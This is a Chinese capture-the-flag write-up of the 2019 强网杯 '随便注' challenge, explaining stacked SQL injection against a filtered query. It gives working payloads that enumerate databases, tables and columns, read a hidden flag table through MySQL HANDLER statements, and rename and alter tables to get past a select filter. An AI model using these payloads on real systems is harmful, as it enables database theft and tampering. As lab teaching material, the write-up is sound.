[强网杯 2019]随便注 1
目录
0x00 判断是否是字符型注入
0x01 判断是否存在关键字过滤
堆叠注入
0x03 查询字段数
0x04 查看数据库
0x05 查看数据库表
0x06 爆数据表的字段
0x07 爆字段
第一种 handler语句代替select语句
第二种 更改表名列名为后台代码查询的数据表
0x00 判断是否是字符型注入
0x01 判断是否存在关键字过滤
联合查询被过滤,那么只能试试堆叠注入
堆叠注入
stacked injections,顾名思义就是一堆sql语句一起执行,我们知道在mysql中,执行一句命令以分号结束,那么我们就可以想到show databases;show tables
两个命令一起执行。
那么堆叠注入和联合查询有什么不一样呢?在联合查询中,执行的语句是有限的,union前后是必须有所关联的,而在堆叠注入中,我们可以随意执行任意sql语句,例如:
1;show databases;
执行以上这句sql命令,在服务器端生成的语句为:
select * from students where id=1;show databases;
那就很明显我们执行了两个指令,一个查询id为1的学生,一个是查询数据库表。
但是堆叠注入也存在局限性,它可能会受到API或者数据库引擎不支持的限制、权限不足等等。
0x03 查询字段数
这里order by 2正常回显,尝试order by 3报错,目前看出该表有两个字段。
0x04 查看数据库
1';show databases;#
0x05 查看数据库表
1';show tables;
0x06 爆数据表的字段
1';show columns from words
1';show columns from `1919810931114514`;#
注意:当数据表为数字的时候需要用反引号括起来
我们可以看到两个表,words有两个字段,而1919810931114514只有一个字段,所以我们可以简单的猜测一下后台的SQL查询语句应该为:
select * from words where id=
所以我们在这里只能查询words表中的id字段,因为select关键字被过滤了,所以另一个表中的flag字段没有办法查询。
0x07 爆字段
我在其他作者的解题方法中又看见两种方式爆出glag
第一种 handler语句代替select语句
通过handler语句查询users表的内容
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
payload就可以为:
1';handler `1919810931114514` open as `key`;handler `key` read next;
第二种 更改表名列名为后台代码查询的数据表
我们可以发现,words表中的data字段和1919810931114514表中的flag字段均为varchar类型,那就来思路了呀,可以将表1919810931114514名字改为words,flag列名改为id,就可以查询了
1';
rename table `words` to words1;
rename table `1919810931114514` to `words`;
alter table words change flag id varchar(100);